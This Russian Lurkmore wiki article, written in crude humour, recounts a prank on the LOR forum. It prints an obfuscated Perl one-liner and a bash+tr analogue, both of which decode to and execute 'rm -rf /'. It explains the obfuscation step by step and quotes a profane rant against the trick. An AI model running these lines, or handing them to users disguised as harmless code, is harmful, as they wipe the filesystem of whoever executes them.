lurkmo.re • lurkmore.co • lurkmore.net • IPv6.lurkmo.re • IPv6.lurkmore.to • friGate • Средства против цензуры • Пожертвования
На данный момент возможны проблемы с отображением картинок при заходе на сайт через HTTPS с российских IP. Судя по всему, проблема опять связана с РКН, и пока что единственное решение — использовать VPN (или же заходить через обычный HTTP).
Программа из одной строчки на Perl
Фраза Программа из одной строчки на Perl происходит из одноимённой темы раздела Development расово верного форума ЛОР, в которой коварный анонимус запостил скрипт на Perl, сетуя на то, что он не работает. На самом деле, в названии оригинальной темы была ошибка — «программа из одной строчки ни Perl».
Содержание |
[править] Последствия
Как водится, скрипт был немедленно скопипащен в первый попавшийся шелл тысячами доверчивых пользователей, где и успешно выполнен. Вскоре начали появляться каменты типа «сука, блять, хорошо хоть рабочая станция. мудило блять...», что сподвигло суровых Perl-гуру всё-таки разобраться, что же на самом деле делает это коварное изделие. Вскоре от модератора Die-Hard поступило резюме о том, какую же команду скрипт выполняет.
[править] Суть скрипта
Сабж выглядит вот так:
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Те же яйца, но в профиль:
$var = "=]=>%-{<-|}<&|`{"; $var = tr{ !"#$%&'()*+,-./:;<=>?@[\]^_`{|}} {`abcdefghijklmnopqrstuvwxyz{/" -}; eval($var);
То есть, сначала командой $??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;
во временную переменную записывается текст =]=>%-{<-|}<&|`{
, затем он транслитерируется (y; -/:-@[-`{-};`-{/« -;
) и превращается в команду system"rm -rf /"
, смысл которой понятен даже людям, с Perl не знакомым. Далее эта команда отдается на исполнение интерпретатору (s;;$_;see
). Скрипт использует ряд идиом Perl, усложняющих чтение исходного кода, но ему очень далеко до истинных шедевров в этой области.
[править] Аудитория
Скрипт был рассчитан на лохов, работающих под рутом, и как следствие, потенциально удаливших весь корневой раздел со всей порнухой и смонтированными файловыми системами с порнухой. Сделано всё было исключительно ради лулзов, однако это породило целый мегафлейм, затрагивающий чуть менее, чем все моральные аспекты жизнедеятельности человеков. Как заметил другой анонимус:
А еще мы наверное кнопки канцелярские на стулья коллегам подбрасываем, да? А хули — смотреть надо куда садишься! Или веревки на уровне щиколоток натягиваем, что бы ламерье, которое под ноги не смотрит под общий смех таких же дебилов наебывалось. Тут вопрос то не в уровне квалификации! Блять, тут же не кроватка какаянить этож, нах, профешионал сосаити со всеми атрибутами. И ставить такой код — это все равно, что сунуть человеку раскаленный утюг с милой улыбкой: типа подержи пока.. Любой знает, что утюг может быть горячим, но как правило, такого уровня идиотского юмора просто не предполагаешь. Тем более, что у недоумков вроде автора этой веселой шутки, под управлением одна писюха под непонятно зачем поднятым на нем линухом. Нормальные люди окучивают по три-пять площадок одновременно и еще отвлекают, плюс бутерод и форума почитать — чтоб передохнуть. А тут перловая заковыристая строчка интересная вроде.. и блять умники — вот честно, кто одним махом понял чо за код? Первым делом какой позыв когда скрипт падает? Хуйнуть в первый же попавшийся шелл и посмотреть на ошибку интерпритатора, так? Короче, займись делом, шутник хуев. И когда ты лично хакер вонючий наступишь в кучу говна посреди темного лифта — помни, что это просто веселая шутка. Не будь ламером, всегда смотри куда наступаешь! Адье! ПС а ветку эту лучше оставить. В назидание. |
[править] Аналог на bash+tr
$(echo '%\%#{<-{}<&{`' |tr ' -/:-@[-`{}' '`-{/ -')2>/dev/null
Принцип действия абсолютно тот же самый.
[править] Ссылки